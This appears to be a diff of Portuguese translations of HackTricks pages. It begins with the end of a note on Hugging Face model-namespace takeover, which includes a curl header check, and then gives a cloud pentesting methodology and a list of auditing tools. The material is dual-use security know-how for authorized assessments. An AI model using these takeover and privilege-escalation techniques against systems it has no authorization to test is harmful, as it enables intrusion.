- Autor deletado: página do autor 404; caminho legado do modelo 404 até a tomada de controle.
|
||||
- Modelo transferido: caminho legado 307 para novo autor enquanto o autor antigo existe; se o autor antigo for deletado e re-registrado posteriormente, o caminho legado passa a servir conteúdo do atacante.
|
||||
- Deleted author: author page 404; legacy model path 404 until takeover.
|
||||
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Referências Cruzadas
|
||||
|
||||
- Veja a metodologia mais ampla e as notas sobre cadeia de suprimentos:
|
||||
- Veja a metodologia mais ampla e notas sobre supply-chain:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Metodologia de Pentesting em Cloud
|
||||
# Metodologia de Pentesting Cloud
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,35 +6,35 @@
|
||||
|
||||
## Metodologia Básica
|
||||
|
||||
Cada cloud tem suas peculiaridades, mas em geral há algumas **coisas comuns que um pentester deve checar** ao testar um ambiente cloud:
|
||||
Cada cloud tem as suas peculiaridades, mas em geral há algumas **coisas comuns que um pentester deve verificar** ao testar um ambiente cloud:
|
||||
|
||||
- **Benchmark checks**
|
||||
- Isso ajudará você a **entender o tamanho** do ambiente e **os serviços usados**
|
||||
- Também permitirá encontrar algumas **misconfigurações rápidas**, já que você pode executar a maioria desses testes com **ferramentas automatizadas**
|
||||
- **Services Enumeration**
|
||||
- Provavelmente você não encontrará muitas mais misconfigurações aqui se realizou corretamente os testes de benchmark, mas pode encontrar algumas que não foram verificadas no teste de benchmark.
|
||||
- **Verificações de benchmark**
|
||||
- Isso ajudará você a **entender o tamanho** do ambiente e os **serviços usados**
|
||||
- Também permitirá encontrar algumas **misconfigurações rápidas**, já que a maioria desses testes pode ser executada com **ferramentas automatizadas**
|
||||
- **Enumeração de serviços**
|
||||
- Provavelmente você não encontrará muitas mais misconfigurações aqui se executou corretamente os testes de benchmark, mas pode encontrar algumas que não foram procuradas no teste de benchmark.
|
||||
- Isso permitirá saber **o que exatamente está sendo usado** no ambiente cloud
|
||||
- Isso ajudará muito nos próximos passos
|
||||
- **Check exposed assets**
|
||||
- Isto pode ser feito durante a seção anterior; você precisa **identificar tudo que potencialmente está exposto** à Internet de alguma forma e como pode ser acessado.
|
||||
- Aqui estou considerando **infraestrutura exposta manualmente** como instâncias com páginas web ou outras portas expostas, e também **serviços gerenciados da cloud que podem ser configurados** para serem expostos (como DBs ou buckets)
|
||||
- Então você deve verificar **se esse recurso pode ser exposto ou não** (informação confidencial? vulnerabilidades? misconfigurações no serviço exposto?)
|
||||
- **Check permissions**
|
||||
- Aqui você deve **descobrir todas as permissões de cada role/usuário** dentro da cloud e como são usadas
|
||||
- Muitas contas **altamente privilegiadas** (controlam tudo)? Chaves geradas não usadas?... A maioria dessas verificações deveria ter sido feita nos testes de benchmark já
|
||||
- Se o cliente estiver usando OpenID ou SAML ou outra **federação** você pode precisar pedir mais **informações** sobre **como cada role está sendo atribuído** (não é o mesmo que o role admin esteja atribuído a 1 usuário ou a 100)
|
||||
- Não basta **identificar** quais usuários têm permissões **admin** "\*:\*". Existem muitas **outras permissões** que, dependendo dos serviços usados, podem ser muito **sensíveis**.
|
||||
- Além disso, existem maneiras de **privesc** potenciais a explorar abusando permissões. Todas essas coisas devem ser levadas em conta e **o máximo de caminhos de privesc possível** deve ser reportado.
|
||||
- **Check Integrations**
|
||||
- É altamente provável que **integrações com outras clouds ou SaaS** estejam sendo usadas dentro do ambiente cloud.
|
||||
- Para **integrações da cloud que você está auditando** com outra plataforma você deve notificar **quem tem acesso para (ab)usar essa integração** e você deve perguntar **o quão sensível** é a ação que está sendo realizada.\
|
||||
Por exemplo, quem pode escrever em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP tratando esses dados).
|
||||
- Para **integrações dentro da cloud que você está auditando** vindas de plataformas externas, você deve perguntar **quem tem acesso externamente para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\
|
||||
Por exemplo, se um serviço está usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificá-la e quais informações sensíveis e acessos essa imagem terá quando executada dentro de uma cloud AWS.
|
||||
- Isso ajudará bastante nas próximas etapas
|
||||
- **Verificar ativos expostos**
|
||||
- Isso pode ser feito durante a seção anterior, você precisa **identificar tudo que está potencialmente exposto** à Internet de alguma forma e como pode ser acessado.
|
||||
- Aqui estou considerando **infraestrutura manualmente exposta** como instâncias com páginas web ou outras portas expostas, e também outros **serviços gerenciados na cloud que podem ser configurados** para ficarem expostos (como DBs ou buckets)
|
||||
- Depois você deve verificar **se esse recurso pode ser exposto ou não** (informação confidencial? vulnerabilidades? misconfigurações no serviço exposto?)
|
||||
- **Verificar permissões**
|
||||
- Aqui você deve **identificar todas as permissões de cada role/user** dentro da cloud e como são usadas
|
||||
- Contas com **privilégios excessivos** (controlam tudo)? Chaves geradas não usadas?... A maioria dessas verificações já deveria ter sido feita nos testes de benchmark
|
||||
- Se o cliente estiver usando OpenID ou SAML ou outra **federation**, você pode precisar pedir mais **informações** sobre **como cada role é atribuído** (não é o mesmo se o role admin é atribuído a 1 usuário ou a 100)
|
||||
- Não basta **identificar** quais usuários têm permissões **admin** "*:*". Existem muitas **outras permissões** que, dependendo dos serviços usados, podem ser muito **sensíveis**.
|
||||
- Além disso, existem formas de **privesc** potenciais a seguir abusando de permissões. Todas essas coisas devem ser levadas em conta e **o maior número possível de caminhos de privesc** deve ser relatado.
|
||||
- **Verificar integrações**
|
||||
- É bem provável que **integrações com outras clouds ou SaaS** estejam sendo usadas dentro do ambiente cloud.
|
||||
- Para **integrações da cloud que você está auditando** com outra plataforma, você deve notificar **quem tem acesso para (ab)usar essa integração** e deve perguntar **quão sensível** é a ação realizada.\
|
||||
Por exemplo, quem pode gravar em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP ao tratar esses dados).
|
||||
- Para **integrações dentro da cloud que você está auditando** originadas de plataformas externas, você deve perguntar **quem tem acesso externamente para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\
|
||||
Por exemplo, se um serviço está usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificar essa imagem e quais informações sensíveis e acessos essa imagem terá quando executada dentro de uma cloud AWS.
|
||||
|
||||
## Ferramentas Multi-Cloud
|
||||
|
||||
Existem várias ferramentas que podem ser usadas para testar diferentes ambientes cloud. Os passos de instalação e links serão indicados nesta seção.
|
||||
Existem várias ferramentas que podem ser usadas para testar diferentes ambientes cloud. As etapas de instalação e os links serão indicados nesta seção.
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
|
||||
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
Suporta **AWS, GCP & Azure**. Veja como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
Suporta **AWS, GCP & Azure**. Consulte como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
```bash
|
||||
# Install
|
||||
pip install prowler
|
||||
@@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
|
||||
```
|
||||
</details>
|
||||
|
||||
Para verificar **outros insights GCP** (útil para enumerar serviços) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
Para verificar **outros insights do GCP** (úteis para enumerar serviços) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
|
||||
Para verificar código Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
|
||||
@@ -234,11 +234,11 @@ Mais plugins AWS do Steampipe: [https://github.com/orgs/turbot/repositories?q=aw
|
||||
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
|
||||
|
||||
AWS, GCP, Azure, DigitalOcean.\
|
||||
Requer python2.7 e parece não estar mantido.
|
||||
Requer python2.7 e parece não mantido.
|
||||
|
||||
### Nessus
|
||||
|
||||
Nessus tem um scan _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. São necessárias algumas configurações adicionais no **Azure** para obter um **Client Id**.
|
||||
Nessus possui uma varredura _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações adicionais em **Azure** são necessárias para obter um **Client Id**.
|
||||
|
||||
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
|
||||
|
||||
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
|
||||
|
||||
### [**cartography**](https://github.com/lyft/cartography)
|
||||
|
||||
Cartography é uma ferramenta Python que consolida ativos de infraestrutura e os relacionamentos entre eles em uma visualização em grafo intuitiva, alimentada por um banco de dados Neo4j.
|
||||
Cartography é uma ferramenta Python que consolida ativos de infraestrutura e os relacionamentos entre eles em uma visualização de grafo intuitiva alimentada por um banco de dados Neo4j.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
|
||||
|
||||
### [**starbase**](https://github.com/JupiterOne/starbase)
|
||||
|
||||
Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicações SaaS, controles de segurança e mais, em uma visualização de grafo intuitiva suportada pelo banco de dados Neo4j.
|
||||
Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura cloud, aplicações SaaS, controles de segurança e mais, em uma visão de grafo intuitiva suportada pelo banco de dados Neo4j.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -376,11 +376,11 @@ Uma ferramenta para encontrar a infraestrutura de uma empresa (alvo), arquivos e
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis em infraestruturas cloud (atualmente suporta apenas AWS & Azure, com GCP em breve).
|
||||
- É uma ferramenta de enumeração destinada a complementar pentesting manual.
|
||||
- Não cria nem modifica nenhum dado dentro do ambiente cloud.
|
||||
- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis na infraestrutura cloud (atualmente suporta apenas AWS & Azure, com GCP em breve).
|
||||
- É uma ferramenta de enumeração destinada a complementar o pentesting manual.
|
||||
- Não cria nem modifica quaisquer dados dentro do ambiente cloud.
|
||||
|
||||
### More lists of cloud security tools
|
||||
### Mais listas de ferramentas de segurança cloud
|
||||
|
||||
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
|
||||
|
||||
@@ -412,11 +412,10 @@ azure-security/
|
||||
|
||||
### Attack Graph
|
||||
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) cria um “attack graph” dos recursos em uma Azure subscription. Permite que red teams e pentesters visualizem a superfície de ataque e oportunidades de pivot dentro de um tenant, e supercharges seus defenders para rapidamente se orientar e priorizar o trabalho de incident response.
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) cria um “attack graph” dos recursos numa subscription do Azure. Permite que red teams e pentesters visualizem a superfície de ataque e oportunidades de pivot dentro de um tenant, e potencializa os seus defenders para rapidamente orientar e priorizar o trabalho de incident response.
|
||||
|
||||
### Office365
|
||||
|
||||
Você precisa de **Global Admin** ou pelo menos **Global Admin Reader** (mas note que Global Admin Reader é um pouco limitado). No entanto, essas limitações aparecem em alguns módulos PS e podem ser contornadas acessando os recursos **via the web application**.
|
||||
|
||||
É necessário **Global Admin** ou pelo menos **Global Admin Reader** (mas note que Global Admin Reader é um pouco limitado). No entanto, essas limitações aparecem em alguns PS modules e podem ser contornadas acessando as funcionalidades **via the web application**.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user